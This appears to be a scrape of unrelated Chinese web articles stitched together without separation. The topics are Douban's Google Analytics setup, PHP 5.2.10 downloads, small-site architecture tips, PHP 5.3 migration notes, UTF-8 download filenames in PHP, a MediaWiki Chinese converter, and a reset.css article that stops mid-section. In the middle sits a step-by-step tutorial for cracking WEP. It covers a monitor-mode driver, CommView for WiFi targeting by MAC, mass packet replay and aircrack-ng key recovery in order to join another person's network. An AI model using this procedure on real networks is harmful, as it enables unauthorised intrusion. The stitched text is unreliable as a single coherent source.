豆瓣 Google Analytics 代码加载模式

豆瓣从今年开始也加入 Google Analytics 的统计阵营。让我们通过它加载的 Google Analytics 源码，简单分析一下它都是怎么应用的。

我们先从豆瓣的源码来看看它的Google Analytics统计代码

豆瓣 Google Analytics 代码

我们知道一般默认的 Google Analytics代码如下：

默认 Google Analytics 统计代码

两相对比，我们就会发现豆瓣加载 ga.js 的方式与默认的方式有些不太一样，由于豆瓣并没有采用 https 加密访问，所以撇弃了默认的ga.js加载方式。

默认的统计函数，pageTracker 也被豆瓣改成了 _ga ，这个只是名称定义上的区别，并没有什么实质的改变。豆瓣的主要应用是下面两个函数：

使用 _ga._addOrganic 识别非主流搜索引擎

再来看豆瓣比默认 Google Analytics 代码增加的部分，那就是多了数个 _ga._addOrganic ，这是 Google Analytics 添加自定义搜索引擎的代码。尽管 Google Analytics 对于主流的搜索引擎都能自动识别，但毕竟能识别的是国外的主流搜索引擎，在国内，像搜狐的 Sogou，QQ 的 soso，网易的有道等搜索引擎，都不能被 Google Analytics 正确识别，而被当作推荐来源。这时候我们就可以利用_addOrganic 参数来识别这些非主流搜索引擎，如豆瓣的做法。

使用 _addIgnoredOrganic 忽略关键字

除了添加自定义搜索引擎，豆瓣在最后还添加了如下这些代码:

_ga._addIgnoredOrganic("豆瓣");
_ga._addIgnoredOrganic("douban");
_ga._addIgnoredOrganic("豆瓣网");
_ga._addIgnoredOrganic("www.douban.com");

这些代码用来把引号中的关键词从搜索引擎的关键词报告中排除，而当成直接点击量来源。

为什么要这么做？因为一个知名的大网站，来自这些品牌词的搜索流量都非常大，常常是排在前几位的搜索关键词来源，而这通常是因为搜索引擎养成现在的 人都懒得记网址，直接搜索品牌名来记住域名。这些品牌词对于网站的关键词来源分析并没有很直接的帮助，所以在来自品牌词的流量很大的情况下，可以直接把这 些关键词识别成直接点击量来源。

关于自定义 Google Analytics 搜索引擎和排除特定关键词为直接点击量来源的语法，可以参考 Google Code 上关于这方面的详细介绍。

通过 _setVar 识别用户

当我们登录豆瓣后，再来分析豆瓣的源码，会发现多了一个ga._setVar(”xxxx”)的 Google Analytics 参数。

豆瓣使用 Google Analytics 的._setVar参数来跟踪登录用户行为

_setVar() 函数是 Google Analytics 的用户定义函数，主要用于对特定来源的用户行为进行分类，例如可以对登录浏览的用户设置一个数值，然后在 Google Analytics 后台的访问者/用户定义 中查看其浏览属性。

Google Analytics 访问者/用户定义报告

分析豆瓣的源码可以知道，豆瓣对每一个登录后的用户，都赋以一个专门的 id 值，这样可以在用户定义报告里，看到整体的登录用户访问行为，乃至每个登录用户的浏览行为。通过这样设定后，豆瓣便可以轻易获取高忠诚度访问用户的访问行为。关于_setVar()的更多说明，请参阅 Google Analytics的技术文档

如何根据访问者在我的网站上访问的页面或在表单上做出的响应对其进行分类？在 Google Analytics 官方的帮助文件，也给出了另外一个应用案例

值得注意的是，原来在设置 _setVar() 函数的时候，整个网站的跳出率会出现重大的偏差，不过在最近的google analytics官方博客，指出该bug已经修正，客户在进行这方面设置的时候，还是要注意对比前后数据是否有重大偏差。

通过 _trackPageview 区分不同类型的评论

豆瓣上的书评，影评和乐评可以说是豆瓣网站的核心价值所在。一般评论的URL格式如下：

豆瓣上单条评论的URL

当我们查看该页面的网页源代码时，会发现有趣的现象:

豆瓣单条评论页的 Google Analytics 代码

我们知道，一般 Google Analytics 的_trackPageview() 括弧中的参数是留空的， Google Analytics 会自动捕获网址的 URL 参数，如果在 _trackPageview()括弧中输入特定的数值，那么在 Google Analytics 的报表中，URL 将是我们指定的参数，而不再是我们在地址栏看到的 URL。

如上面的例子，我们在 Google Analytics 中看到的URL将是/book/review/1946018/，而不再是我们在浏览器地址栏看到的/review/1946018/

当所在频道是电影或者音乐时，_trackPageview() 中的参数将根据所在频道的属性，变为/movie/xxxxx 或者 /music/xxxxx的数值。

豆瓣通过对的参数进行重新指定，主要有以下的好处：

保证了用户和搜索引擎看到的 URL 比较简短，达到 URL 对用户友好和对搜索引擎友好的目的；而在 Google Analytics 报告中，通过 内容/内容细目/ 报告，又能了解到各个频道总的浏览情况。

在GA的内容细目报告中，将会多出 /book/ /music/ /movie/ 这样的文件夹来，总而获得各个频道的合计浏览数据。

而如果只是使用默认 _trackPageview()，你将只能得到所有评论页面的浏览数据，而无法得到细分的各个频道的浏览数据。

关于_trackPageview()的具体的使用方法可参照 Google Code 的说明

注意事项:使用 _trackPageview() 参数重新指定 URL 之后，网站覆盖图的数据将受到影响。可参阅 Google Analytics 的官方帮助文件

除了豆瓣使用 _trackPageview() 来对URL进行重写，大众点评网也采用了类似的做法（应该是比豆瓣更早采用。。。因为是我在点评网任职时候实验的做法;那时候豆瓣还没有使用 Google Analytis 统计代码，呵呵），有兴趣的同学可以自己去研究点评的 Google Analytis 代码。

• PHP 5.2.10 (tar.gz) linux源码包 [11,166Kb] - 18 June 2009
  md5: 85753ba2909ac9fae5bca516adbda9e9
  
  
• PHP 5.2.10 Windows zip 解压包 [10,242Kb] - 18 June 2009
  md5: 95ae7ccfcd05b6c81c93aa2e9e792f9e
  
  
• PHP 5.2.10 Ｗindows 安装包 [19,098Kb] - 18 June 2009
  md5: 38b65bc57f64c66ff73f6f4e2db2cbb4

如果站点起步阶段可能就是一台机器(或是一台虚拟机，比如 JobsDigg.com )，这个时候，去关注什么数据拆分啊，负载均衡啊，都是没影子的事情。很多大站点的经验绝不能照搬，辩证的参考才是硬道理。

拥抱熟知的技术

动手构建站点的时候，不要到处去问别人该用什么，什么熟悉用什么，如果用自己不擅长的技术手段来写网站，等你写完，黄花菜可能都凉了。所以，有现成 的软件组件可用，就不要自己重新发明轮子。人家说 Python 牛，但自己只懂 PHP ，那就 PHP 好了，如果熟悉 .net ?，那也不错。用烂技术不是丢人的事情，把好技术用烂才丢人。

架构层次清晰化

起步的阶段应该清楚的确定下来架构的层次。如果都搅和在一起，业务一旦扩增开来，如果原有的一堆东西拆不开就是非常痛苦的事情。

Web Server <--> (AppServer)<-->Cache(eg. Memcached)<-->DB

层次清晰化的一个体现是(以 LAMP 架构为例)：即使只有一台机器，也应该起个 Memcached 的实例，效果的确非常好--一般人儿我不告诉他...不要把什么都压到 DB 上，DB 一旦 I/O 压力走到磁盘上，问题要暴露出来是很快的。没错，DB 本身也会利用自己的 Cache，但 DB 的Cache 和 Memcached 设计出发点毕竟不一样。

数据冗余? 有必要

很多人并不是数据库设计专家，如果应用要自己设计表结构什么的，基本都是临时抱佛脚，但三个范式很多人倒是记得牢，这是大多数小型 Web 站点遇到的一个头疼事儿，一个小小的应用搞了几十个表... 忘掉范式这个玩意儿! 记住，尽可能的冗余数据，你在数据层陷入的时间越多，你在产品上投入的就会越少。用户更关心的是产品的设计。

前端优化很重要

因为流量低，访客可能也不多，这时候值得注意的是页面不要太大，多数流量低的站点吃亏就在于一个页面动辄几兆(我前两天看到一个Startup的首页有4M之大,可谓惊人)，用户看个页面半分钟都打不开，你说咋发展? 先把基本的条件满足，再去研究前端优化。

功能增加要谨慎

不是有个 80/20 原则么? 把最重要的精力放在最能给你带来商业价值的地方。有些花里胡哨的功能带来很大的开销，反而收效甚微。记住，小站点，最有价值的是业务模式，而不是你的技术有多牛。技术是为业务服务的，不要炫技。

有些网站不停的添加功能，恰恰是把这些新功能变成了压死自己的稻草。

从开始考虑性能

这一点是可选的，但也重要。设计应用的时候在开始就应考虑 Profile 这件事情。一套应用能否在后期进行有效优化和扩展，很大的程度限制在是否有比较合适的 Profile 机制上。需要补充的是，对性能的考虑必然要把有关的历史数据考虑进来。另请参见网站运维之道的容量规划以及其它小帖子。

好架构不是设计出来的

这是最后要补充的一点。好的架构和最初的设计有关系，但最重要的是发展中的演化：

发展-->发现问题-->反馈-->解决问题(执行力)--> 改进->进化到下一阶段--新问题出现(循环)

有些站点到了某个阶段停足不前，可能卡在执行力这个地方，来自用户的反馈意见上来了之后，没有驱动力去做改进。最后也是死猪不怕开水烫了。最怕听到的就是"业务不允许"的托词，试想如果不改进业务都没了，那业务还允许么? 其实就是一层心理障碍。

这篇文章有浓重的山寨风格，所以，你不要太认真。如果在用短、平、快的方式构建某些山寨网站的话，可参考其中对你有益的点，不赞同的地方可以直接忽视掉，就没必要费力留言进行争论了。

PHP V5.3 将于不久后发布。“PHP V5.3 中的新特性” 系列文章将持续介绍该发行版提供的令人兴奋的新特性。第 1 部分 介绍了 PHP 5.3 中对面向对象编程及对象处理所做的更改，第 2 部分 介绍了闭包函数及 lambda 函数。第 3 部分 探讨了名称空间，这是该 PHP 版本中最令人期待也是最具争议的特性之一。在 第 4 部分 中，我们进一步研究了 Phar，这是一种用于 PHP 的归档格式。在本系列的最后一部分中，了解从 PHP V5.2 升级到 PHP V5.3 时要考虑的一些事情。PHP V5.3 中的一些变化破坏了向后兼容性，有些特性在 PHP V5.3 中不受支持，在将来的版本中将被取消。本文还介绍 PHP V5.3 对 PHP 中一些已有特性的增强。

简介

本 系列着重介绍 PHP V5.3 中的新特性，例如名称空间、闭包、对象管理、面向对象编程和 Phar。虽然这些动人的新特性作为该语言的增补广受欢迎，但 PHP V5.3 同时也是为进一步优化 PHP 而设计的。它构建在流行、稳定的 PHP V5.2 的基础上，并对该语言作了增强，使之更加强大。在本文中，了解 PHP V5.3 中的变化，以及从 PHP V5.2 升级到 PHP V5.3 时需要考虑的一些事情。

语法变化

该语言新增了名称空间和闭包，增加了更多的保留字。从 PHP V5.3 开始，namespace 不再用作标识符。closure 类现在是一个保留类，但它仍然可以作为有效的标识符。清单 1 显示了一些例子，由于新增的保留字的缘故，有些语句在 PHP V5.3 中不再有效。

				
// the function definition below will throw a fatal error in PHP 5.3, but is perfectly 
// valid in 5.2
function namespace() 
{
....
}

// same with this class definition
class Closure
{
....
}

PHP V5.3 中还增加了对 goto 语句的支持。现在，goto 是一个保留字。goto 语句在现代语言中不太常见（您也许记得在 BASIC 中如何使用 goto），但是有些情况下，goto 语句的确方便。清单 2 显示了一个如何使用 goto 语句的例子。

				
echo "This text will get outputted";
goto a;

echo "This text will get skipped";

a:
echo "This text will get outputted"; 

goto 的一个可能的用例是中断深度嵌套的循环和 if 语句。这将使代码阅读起来清晰很多。

函数和方法的变化

在 PHP V5.3 中，函数和方法没有大的变化，但还是有一些增强，以帮助解决 PHP 中的一些突出问题并提高性能。本节讨论一些较为显著的变化。

在之前版本的 PHP 中，数组函数 atsort、natcasesort、usort、uasort、uksort、array_flip 和 array_unique 可以以参数形式传递对象而不是数组。然后，这些函数将对象的属性当做数组的键和值。PHP V5.3 中不再支持这一点，所以需要首先将对象转换成数组。清单 3 展示了如何修改代码。

				
$obj = new stdClass;
$obj->a = '1';
$obj->b = '2';
$obj->c = '3';

print_r(array_flip($obj)); // will NOT work in PHP 5.3, but will in PHP 5.2

print_r(array_flip((array) $obj)); // will work in PHP 5.3 and 5.2

魔术类方法现在受到更严格的限制。下面的方法必须具有公共可见性：

• __get
• __set
• __isset
• __unset
• __call

现在，当在静态上下文中使用 __call 时，为了应对上述变化，可以使用新的 __callStatic() 魔术方法。除了不接受参数的 __isString() 魔术方法以外，这些方法的必需参数都是强制性的，并且必须提供。清单 4 显示了如何使用这些方法以及它们的必需参数。

				
class Foo
{
    public function __get($key) {} // must be public and have one parameter
    public function __set($key,$val) {} // must be public and have two parameters

    public function __toString() {} must be public and have no parameters
}

在 Windows 上，有些函数之前在 PHP 中不受支持，现在在 PHP V5.3 中获得支持。例如，getopt() 函数用于解析从命令行调用 PHP 脚本时使用的选项。用于编码和解码 Internet 地址的 inet_ntop() 和 inet_pton() 函数，现在也可以在 Windows® 上使用。还有一些数学函数，例如 asinh()、acosh()、atanh()、log1p() 和 expm1()，现在在 Windows 上也受支持。

扩展的变化

PHP Extension C Library（PECL）一直都是 PHP 中的新扩展的来源地。当一个扩展已经成熟和稳定，并且被认为可以成为核心发行版中一个有用的功能，那么它通常在重大的版本变更时被添加进来。根据这条规 则，从 PHP V5.3 开始，下面的扩展会成为核心 PHP 发行版中的一部分。

FileInfo

提供帮助检测文件的内容类型和编码的函数，这些函数通过查看文件中的某些魔术字节字符序列进行检测。

intl

International Components for Unicode（ICU）库的一个包装器，提供用于 unicode 和全球化支持的函数。

Phar

第 4 部分 中讨论过的一个 PHP 归档工具。

mysqlnd

用于 MySQL 数据库访问的一个本地 PHP 驱动程序，是早期利用 libmysql 库的 MySQL 和 MySQLi 扩展的替代物。

SQLite3

用于使用 SQLite V3 数据库的一个库。

当一个扩展不再受到积极的维护，或者被认为不值得随核心 PHP 发行版一起发行时，它通常被转移到 PECL。在 PHP V5.3 的改造过程中，下面这些扩展被踢出核心 PHP 发行版，而放在 PECL 中进行维护。

ncurses

对 curses 的模拟，用于在命令行显示图形化的输出。

fpdf

用于在 PDF 文档中构建和使用表单和表单数据。

dbase

提供读写 dbase 兼容文件的支持。

fbsql

支持 Frontbase 数据库服务器上的数据库访问。

ming

一个开源库，用于创建 Flash 4 动画。

Sybase 扩展已经被完全移除，取而代之的是 sybase_ct 扩展。sybase_ct 扩展与前者完全兼容，应该是一个简易替代者（drop-in replacement）。这个更新的功能将使用 Sybase client 库，需要将这些库安装在 Web 服务器上。

构建的变化

PHP V5.3 着重改善了构建过程，因此更容易在所有平台上构建 PHP。为了维护 PHP 构建之间的一致性，并提供一组可靠的组件，在构建中不再禁用 PCRE、Reflection 和 SPL 扩展。现在，可以构建可分发的 PHP 应用程序，它们将使用这些扩展并且保证这些扩展是可用的。

一 个新的团队在去年接管了 PHP Windows 构建。这个小组将为 Windows 上的用户提供一些改进。新的构建将以 586 架构（Intel® Pentium® 或更高型号）为目标，并要求 Windows 2000/XP 或更高版本，另外去掉了对 Windows 98/NT 及之前版本的支持。将构建使用 Microsoft® Visual Studio® 2008 构建的 PHP 构建和针对 x86-64 架构的构建。当和 Microsoft IIS Web 服务器上的 FastCGI 或者和 Apache 一起使用时，在使用相同的编译器和架构进行构建的情况下，它们可以提供更高的性能。Windows 安装程序也将有所改进，以便更好地在 Microsoft IIS Web 服务器上配置 PHP。该团队专门为 Windows 上的 PHP 建立了一个网站（参见 参考资料）。

.ini 的变化

PHP 的一个重要特性是，可以使用 .ini 文件配置它的行为。在 PHP V5.3 中，与这个文件有关的一些有问题的指令已经被删除，例如 zend.ze1_compatibility_mode。现在，在使用这个文件时，灵活性有了巨大的提高。

对于 php.ini 文件有两个重大的改进：

• 在 php.ini 文件中可以使用变量。这对于减少该文件的冗余非常方便，必要时更新文件也更加方便。清单 5 显示了一个例子。
  
  清单 5. php.ini 文件中的变量
  

  foo = bar [section] newfoo = ${bar}

  
  foo 和 newfoo 有相同的值。
• 和用 Apache 配置文件进行设置一样，可以进行 per-directory 和 per-site PHP ini 设置。这样做的优点是，在所有不同的可运行 PHP 的 SAPI 中，语法都是一致的。清单 6 显示了如何进行 PHP ini 设置。
  
  清单 6. per-site 和 per-directory .ini 设置
  

  [PATH=/var/www/site1] ; directives here only apply to PHP files in the /var/www/site1 directory [HOST=www.example.com] ; directives here only apply to PHP files requested from the www.example.com site.

  
  

还 可以像对待 Apache HTTP Web 服务器上的 .htaccess 文件一样，在用户指定的、位于文件系统的 .ini 文件中创建这些 .ini 指令。这个文件的默认文件名由 user_ini.filename 指令指定。通过将这条指令设置为空值，可以禁用该特性。在用户指定的 .ini 文件中，任何 per-site 和 per-directory 指令都不能被覆盖。

放弃的特性

PHP V5.3 开始正式放弃一些较旧的函数，将来版本的 PHP 中将不再提供它们。当使用这些函数时，会遇到 E_DEPRECATED 错误。以下函数在 PHP V5.3 中被遗弃：

• tick（declare(ticks=N) 和 register_tick_function()），之前用于在 declare() 块中当解析器每执行 n 条语句时就进行一个函数调用。它们将被废除，因为它们的函数中有很多的中断，而且该特性不大常用。
• define_syslog_variables()，该函数初始化所有与 syslog 相关的变量。该函数不是必需的，因为它定义的常量已经被全局定义。废除这个函数调用应该是有必要的。
• ereg 正则表达式函数。建议使用 PCRE 正则表达式函数替代，因为它们更快，并且与其他语言和应用程序中使用的正则表达式更加一致。对 ereg 函数的支持将被废除，以使 PHP 可以标准化地使用一个正则表达式引擎。

建议在迁移到 PHP V5.3 时移除这些特性。将来主要的 PHP 发行版将取消对上述特性的支持。

结束语

PHP V5.3 有很多新的特性，同时也 “清除” 了一些内容。另外也存在一些向后兼容的问题。本文为将 Web 应用程序迁移到 PHP V5.3 提供了一些指南。要了解最新的关于 PHP V5.3 的详细信息，请参阅 PHP wiki，其中提供了可能影响到应用程序的任何其他变化的说明。

一，五分钟实现无线WEP入侵的特点：

众所周知WEP加密入侵需要用户通过监听等方法 接收到足够数量的WEP验证数据包，然后通过分析软件使用暴力破解的方法穷举法还原出WEP加密密钥的明文信息。五分钟实现无线WEP入侵也必须通过这种 方法来完成，不过不同的是传统的WEP加密破解方法都需要攻击者通过诸如BT3，BT4这样的专业入侵光盘来完成，通过无线扫描和破解光盘启动进入到类 Linux操作系统的GUI界面，然后通过内置的破解工具进行扫描和还原密钥工作，一方面操作上受到局限，进入GUI界面无法灵活选择应用程序;另一方面 需要下载容量巨大基本上要有几个G的破解光盘镜像，同时还需要刻录成光盘启动。最关键的一点就是这种破解并不支持断点续破，也就是说如果中途关闭电源或者 停止破解的话，之前所做的工作将前功尽弃。

今天笔者介绍的这个五分钟实现无线WEP入侵的方法则有效的解决了上面传统方法的不足，首 先我们并不需要下载容量巨大的数据光盘，其次所有工作都直接在Windows系统下完成，全部图形化界面，而且我们可以将破解工作划分成收集数据以及破解 数据两个阶段，从而大大提高了破解效率，实现了断点续破的功能。通过本文介绍的方法我们可以在很短时间之内实现WEP验证数据包的收集，之后再进行WEP 暴力破解还原即可。总体来说破解WEP加密的无线网络速度更块。

二，变更无线网卡驱动实现数据监听：

和以往针对无线WEP加密破解一样的是，我们首先需要将自己的无线网卡驱动进行更新，因为默认情况下无线网卡虽然能够进行无线通讯，但是无法胜任监听工作。具体步骤如下。

第一步：笔者使用的笔记本是IBM T400，默认情况下他的无线网卡是atheros ar5006系列，我们要将其更改为适合监控的类别。首先在我的电脑任务管理器里找到网络适配器下的无线网卡，在其上点鼠标右键选择“更新驱动程序”。(如图1)

第二步：接下来会打开硬件安装向导，我们选择“从列表或指定位置安装(高级)”，然后点“下一步”按钮继续。(如图2)

第三步：接下来是选择驱动程序，我们使用附件中的“驱动程序”目录中的文件进行安装即可，通过“浏览”按钮找到对应的网卡驱动程序，然后继续点“下一步”按钮。(如图3)

第四步：系统会自动扫描指定目录，然后通过里面的驱动文件更新网卡驱动程序。(如图4)

第五步：更新完毕后我们的无线网卡就被更改为commview atheros ar5006x wireless network adapter，点“完成”按钮结束。(如图5)

第六步：再次查询该网卡会看到名称已经被顺利更新到commview atheros ar5006x wireless network adapter了。(如图6)

至此我们就完成了驱动程序的更新，现在我们笔记本的无线网卡已经具备监听无线通讯数据包的功能了。下面我们就可以通过专业的监控软件完成无线数据包的监听了。

三，安装COMMVIEW FOR WIFI并收集相关无线通讯数据包：

要想顺利监控无线通讯数据包除了使用专门的破解光盘BT3或BT4外，我们可以通过纯WINDOWS系统下的软件来完成，这也是本文介绍的快速破解WEP加密的主要工具之一。他就是大名鼎鼎的commview for wifi。

commview for wifi小档案

软件版本： 6.1 build 607

软件大小：9881KB

软件类别：共享版

软件语言：英文版

适用平台：windows 9X/ME/NT/2000/XP/2003

下载地址：

http://www.onlinedown.net/soft/4632.htm

第一步：从网上下载commview for wifi 6.1 build 607，值得注意一点的是一定要选择for wifi版，否则将无法顺利监控无线通讯数据包。下载后解压缩运行主安装程序，然后一路点next按钮即可，直到完成全部安装。(如图7)

第二步：接下来我们启动commview for wifi软件，在主界面上点“箭头”(开始监控)按钮，然后会打开扫描界面，接下来我们点右边的start scanning按钮将针对当前环境下的无线网络进行扫描，扫描将从频道1开始继续到频道13，所以扫描到的无线网络SSID以及设备类别等信息都会直接 显示在scanner扫描界面中。点对应的名称后我们还可以看到具体信息，包括信号强度，设备MAC地址，IP地址等信息。(如图8)

小提示：

由于实际使用过程中并不是每个频道无线网络都很多的，所以我们可以直接在options标签下设置具体扫描频道，例如只扫描频道3，6，7等。这样可以最大限度的提高扫描速度。设置完毕后确定即可。(如图9)

第三步：实际上笔者还有一个好办法来具体确定哪个扫描频道无线网络最多，那就是通过专门的快速无线扫描工具来完成，笔者使用的是wirelessmon 专业版，通过此工具我们可以在几秒之内就知道当前环境下都有哪些无线网络存在了，包括那些没有开启SSID广播的网络也都能够找到，同时知道他们使用的信 号频段，从而确定哪个频段下无线网络最多，再返回commview for wifi的scanner扫描中进行相应设置即可。(如图10)

第四步：一般来说我们针对无线网络进行数据监控不应该同时监视多个不同的无线网络，否则无线通讯数据包会比较多，一方面不容易筛选，另一方面也大大减少 了最终的破解速度。因此我们可以通过commview for wifi里的rules标签将要监视的无线网络设备MAC地址添加到过滤信息里，同时指定监控流量方向是只流出还是只流入又或者是全部通讯。一般建议大家 使用全部方向上的通讯both。添加完MAC地址后选中enable mac address rules后将只针对该MAC设备开启的无线网络进行数据监视和记录。(如图11)

第五步：设置完过滤信息后在scacnner扫描界面下点capture捕获即可，之后我们将会看到commview for wifi扫描到的所有无线数据包信息，包括频段以及对应的无线网络SSID信息。(如图12)

第六步：适当监控一段时间后我们点packets数据包标签，在这里将看到所有监控到的无线通讯数据包。这时为了更好的查看和过滤数据信息我们点下面一排最右边的按钮，即图中显示18742数据包的1字上头对应的那个按钮。(如图13)

第七步：打开log viewer界面后我们可以按照protocol协议来排列数据包，在这里找到标记为蓝色的而且协议名称是encr.data的数据即可，这个是我们要分析的数据包，只有通过这种数据包才能够顺利的破解还原出WEP加密密钥来。(如图14)

第八步：选择该数据包后通过点鼠标右键选择send packet(s)->selected来复制该数据包并发送。(如图15)

第九步：然后会自动打开发送数据包窗口，在这里我们只需要修改times处的次数即可，一般需要收集几十万个数据包才能够轻松破解，笔者一般选择80万 个数据包然后再破解。点“发送”按钮后开始依次发送之前复制的数据包，下面也能够看到已经发送的数据包数量。(如图16)

第十步：收集到足够的数据包后我们返回到commview for wifi主界面中的LOGGING日志记录标签，在这里通过“SAVE AS”按钮将其保存到本地硬盘后缀名是NCF的文件。(如图17)

第十一步：接下来直接双击保存的NCF文件会自动用LOG VIEWER日志浏览工具打开该文件，在这里我们可以看到抓取下来的所有数据包信息，点FILE下的export logs->tcpdump format，将其转换为TCPDUMP格式，只有该格式才能被下文暴力破解提到的工具所支持。(如图18)

生成了新的TCPDUMP格式的文件后我们的数据包抓取和监控工作才算完成，接下来就是通过暴力破解的方式来还原WEP密钥了。

四，利用aircrack破解WEP密钥：

我们使用aircrack软件来破解收集到的数据从而还原出WEP密钥，笔者使用的是aircrack-ng GUI软件。相关软件在附件中提供，感兴趣的读者可以自行下载。

第一步：启动aircrack-ng GUI主程序，直接选择左边第一个标签。

第二步：通过CHOOSE按钮选择之前保存的TCPDUMP格式的文件，后缀名是CAP。(如图19)

第三步：点右下角的LAUNCH按钮开始分析监控到的数据包，软件会根据监控到的数据信息罗列出所有相关无线网络参数，这里我们需要选择IVS最高的那个，这个才是我们要破解的那个无线网络，例如图中的WEP(38119IVS)。(如图20)

第四步：输入足够数量IVS对应的网络ID后将自动进入到暴力破解环节，这时我们就需要耐心等待了。如果IVS数量不够会出现FAILED的提示，这说明我们还需要增加监控到的数据包数量。(如图21)

第五步：如果满足破破解数量的话等待一段时间后就会出现KEY FOUND的提示，我们就可以顺利的破解目的无线网络使用的WEP加密密钥了，从而实现了无线WEP入侵的目的。(如图22)

第六步：之后我们通过扫描到的SSID信息以及WEP密钥就可以顺利的连接到目的无线网络中了。

五，总结：

本文介绍了如何在Windows环境下不使用引导光盘而直接破解还原无线网络WEP加密的密钥，本方法有两大特色，第一破解的全过程都是在 WINDOWS环境下直接完成的，我们可以一边上网冲浪一边监控数据包，也不再需要刻录破解引导光盘了;第二破解是通过收集到的数据包来完成的，所以我们 可以把破解和收集两个工作分开，从而让破解操作更加灵活，可以分期分批的完成破解工作;第三相比传统的被动监控无线通讯数据包中WEP验证内容来说，本方 法采取的是主动出击的方法，通过复制WEP验证数据包并反复发送虚假数据包来获取反馈信息，从而在最短时间内收集到足够数量的WEP验证数据包，最终大大 提高了破解速度。对于我们这些普通用户来说仅仅使用WEP加密已经不再安全，我们只有通过其他加密方式例如WPA，WPA2才能够保证无线网络通讯的隐 私，因此希望各位无线网络用户能够通过本文引起足够的重视，减少WEP加密方式的无线网络应用，毕竟对于入侵者来说WEP加密不过是一扇半开着的大门。

<?php
$filename = "document.txt";
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $filename);

print "Hello!";
?>

这样用浏览器打开之后，就可以下载document.txt。

但是，如果$filename是UTF-8编码的，有些浏览器就无法正常处理了。 比如把上面那个程序稍稍改一下：

<?php
$filename = "中文 文件名.txt";
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . $filename);

print "Hello!";
?>

把程序保存成UTF-8编码再访问，IE6下载的文件名就会乱码。 FF3下下载的文件名就只有“中文”两个字。Opera 9下一切正常。

输出的header实际上是这样子：

Content-Disposition: attachment; filename=中文 文件名.txt

其实按照RFC2231的定义， 多语言编码的Content-Disposition应该这么定义：

Content-Disposition: attachment; filename*="utf8''%E4%B8%AD%E6%96%87%20%E6%96%87%E4%BB%B6%E5%90%8D.txt"

即：

• filename后面的等号之前要加 *
• filename的值用单引号分成三段，分别是字符集(utf8)、语言(空)和urlencode过的文件名。
• 最好加上双引号，否则文件名中空格后面的部分在Firefox中显示不出来
• 注意urlencode的结果与php的urlencode函数结果不太相同，php的urlencode会把空格替换成+，而这里需要替换成%20

经过试验，发现几种主流浏览器的支持情况如下：

这样看来，程序必须得这样写才能支持所有主流浏览器：

<?php

$ua = $_SERVER["HTTP_USER_AGENT"];

$filename = "中文 文件名.txt";
$encoded_filename = urlencode($filename);
$encoded_filename = str_replace("+", "%20", $encoded_filename);

header('Content-Type: application/octet-stream');

if (preg_match("/MSIE/", $ua)) {
	header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
} else if (preg_match("/Firefox/", $ua)) {
	header('Content-Disposition: attachment; filename*="utf8\'\'' . $filename . '"');
} else {
	header('Content-Disposition: attachment; filename="' . $filename . '"');
}

print 'ABC';
?>

例子：

(简 > 繁)

面包 > 麵包 (zh-tw)
寮国 > 老撾 (zh-hk)
中国人寿 > 中國人壽 (zh-hk)
罗纳尔多 > 朗拿度 (zh-hk)



(繁 > 簡)

記憶體 > 内存 (zh-cn)
布殊 > 布什 (zh-cn)
資料庫 > 数据库(zh-cn)

使用方法

1. 下载 MediaWiki: (http://www.mediawiki.org/wiki/MediaWiki)，解压在路径如：/var/lib/mediawiki-1.13.3

2. 下载 mediawiki-zhconverter，解压及把 mediawiki-zhconverter.inc.php 复制到你 PHP 程序中

3. 在你的程序中设置 MediaWiki 路径, 及引用 mediawiki-zhconverter

define("MEDIAWIKI_PATH", "/var/lib/mediawiki-1.14.0/");
require_once "mediawiki-zhconverter.inc.php";

4. 作出转换

/*
    MediaWikiZhConverter::convert( "字词", "转换目标");  
    转换目标可选值为 zh, zh-cn, zh-tw, zh-sg, zh-hk
*/

echo MediaWikiZhConverter::convert("面包", "zh-tw");
echo MediaWikiZhConverter::convert("記憶體", "zh-cn");
echo MediaWikiZhConverter::convert("罗纳尔多", "zh-hk");

5. 完成

支持版本

下列MediaWiki 版本已证实可以兼容本程式 (http://download.wikimedia.org/mediawiki)：

• PHP4: 1.6.10, 1.6.11
• PHP5: 1.12.0, 1.13.3

如非必要，请使用 PHP5 版本。

在线演示

http://labs.xddnet.com/mediawiki-zhconverter/example/example.html

每每有新项目，第一步就是应当使用一个reset.css来重置样式。 滥用不如不用，直接拿个现成的reset.css过来将导致后期各种离奇bug的发生。

所以最好还是自己写一个reset.css，并且要明白每一条 reset都是用来做什么的。

reset.css本意就是重置样式，我始终建议把.clearfix放入layout.css,而把h1、h2之类的定义放进typography.css。

具体如何规划网站CSS结构，不在文本讨论之列，可以参考Smashing Magazine上的文章，国内有差强人意的中文译版。

注意，本文把reset分成了两个部分，一个是纯reset.css，可以用于任何项目。另一个是用于特定项目的“reset”，自定义修改的内容，这些 内容可以放在layout.css、typography.css之类的文件中，他们共同导入到一个base.css形成一个项目的基础样式。

本文就是来介绍如何写一个合适所有项目的通用的reset.css，以及介绍在设置玩reset.css之后需要针对不同项目要首先要设置的内容。

1，基础
牛顿是站在巨人伽利略的肩膀上的，我们也可以这么做。首先我们要选定一个前进的基础。
请永远不要使用

这问题太多了，在此不多加表述。

目前比较流行的有Eric Meyer的重置样式和YUI的重置样式。另有Condensed Meyer Reset简化Eric Meyer的样式。有趣的是，Eric的重置样式也是源于YUI的。而那份简化版又把Eric的样式简化回YUI的样式了 。但同时，糟糕的是，网上流传的比较广的(尤其是国内)都不是最新的版本。

上面两个页面里直接看到的都不是最新的，Eric专门为有一个reset.css页面。而YUI当前版本(2.7.0)的reset.css实际地址里，比上面的页面中还多一些东西。此外，我们还可以基于一些常见的框架，比较著名的比如Blueprint或者Elements CSS Framework（这个的reset也是源自于Eric Meyer的）。

OK，准备工作就差不多了。以上这些都可以作为参考资料来组织我们自己的reset。我这里主要采用YUI，兼带Eric的reset。

2，默认色彩
对于页面是不是有默认背景色和前景色，YUI和Eric有着不同的看法。
YUI重置背景色为白色而文字颜色为黑色。

而Eric在当前最新版中让所有颜色为透明，他认为透明才是最原始的颜色。虽然他曾一度认为也应当设置白色背景色、黑色文字颜色。至于最后为什么改了，Eric并没有给出具体理由。

这个问题我基本认为是用户自定义的更重要还是你的设计更重要的问题。我个人的观点是，如果你的设计本身就是白色背景，那么不要设置背景。一小部分中 高水平的用户，他们会自定义网页默认背景色。

